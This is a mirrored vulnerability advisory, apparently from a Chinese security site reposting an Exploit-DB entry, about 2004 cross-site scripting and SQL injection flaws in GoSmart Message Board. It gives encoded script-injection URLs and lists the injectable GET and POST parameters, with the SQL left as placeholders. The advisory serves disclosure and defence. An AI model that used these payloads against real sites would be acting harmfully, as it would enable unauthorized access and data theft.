Go Smart Inc GoSmart Message Board – Multiple Input Validation Vulnerabilities

Go Smart Inc GoSmart Message Board – Multiple Input Validation Vulnerabilities

漏洞ID 1054712 漏洞类型
发布时间 2004-10-11 更新时间 2004-10-11
图片[1]-Go Smart Inc GoSmart Message Board – Multiple Input Validation Vulnerabilities-安全小百科CVE编号 N/A
图片[2]-Go Smart Inc GoSmart Message Board – Multiple Input Validation Vulnerabilities-安全小百科CNNVD-ID N/A
漏洞平台 ASP CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/24670
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/11361/info

GoSmart Message Board is reported prone to multiple input validation vulnerabilities. These issues may allow a remote attacker to carry out cross-site scripting and SQL injection attacks. The cause of these issue is insufficient sanitization of user-supplied data.

Cross-site scripting:
/messageboard/Forum.asp?QuestionNumber=1&Find=1&Category=%22%3E%3Cscript
%3Ealert%28%29%3C%2Fscript%3E%3C%22

/messageboard/ReplyToQuestion.asp?MainMessageID=%22%3E%3Cscript%3Ealert%
28%29%3C%2Fscript%3E%3C%22

SQL injection:
messageboard/Forum.asp?QuestionNumber=[SQL CODE HERE]&Find=1&Category=1

messageboard/Forum.asp?Username=&Category=[SQL CODE HERE]

messageboard/Forum.asp?QuestionNumber=[SQL CODE HERE]&Find=1

messageboard/Forum.asp?Category=[SQL CODE HERE]

POST /messageboard/Login_Exec.asp HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

Username=[SQL CODE HERE]&Password=1&Login=1


POST /messageboard/Login_Exec.asp HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

Username=1&Password=[SQL CODE HERE]&Login=1

相关推荐: QNX 6.1 FTP客户端格式字符串漏洞

QNX 6.1 FTP客户端格式字符串漏洞 漏洞ID 1201398 漏洞类型 格式化字符串 发布时间 2004-08-15 更新时间 2004-08-15 CVE编号 CVE-2004-1682 CNNVD-ID CNNVD-200408-130 漏洞平台 …

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享